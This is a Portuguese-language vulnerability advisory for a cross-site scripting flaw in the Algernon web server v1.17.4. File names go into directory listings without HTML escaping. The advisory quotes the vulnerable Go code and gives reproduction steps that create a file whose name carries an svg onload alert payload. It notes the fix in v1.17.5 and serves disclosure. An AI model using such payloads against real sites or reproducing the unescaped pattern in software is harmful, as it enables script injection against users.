
O Algernon v1.17.4 é afetado por uma vulnerabilidade de Cross-Site Scripting (XSS) que permite que atacantes executem código arbitrário através de um payload malicioso em um nome de arquivo.
Algernon v1.17.4 é afetado por uma vulnerabilidade de Cross-Site Scripting (XSS) que permite que atacantes executem código arbitrário através de um payload malicioso em um nome de arquivo.
Algumas variáveis não foram sanitizadas. Por exemplo :
engine/dirhandler.go linhas 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go linhas 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
Nomes de arquivo do sistema de arquivos são inseridos diretamente no HTML sem escape nas listagens de diretório.
$ algernon -v
Algernon 1.17.4
Em um diretório, crie arquivos com payloads XSS como nomes.
# XSS Payload 1: Simple alert
$touch "test.txt"
# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"
No mesmo repositório, execute a aplicação.
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
Visite a seguinte URL, um alerta aparecerá.



Este problema foi corrigido na versão v1.17.5.
Descoberto por : Benoit H. (Bnyt7)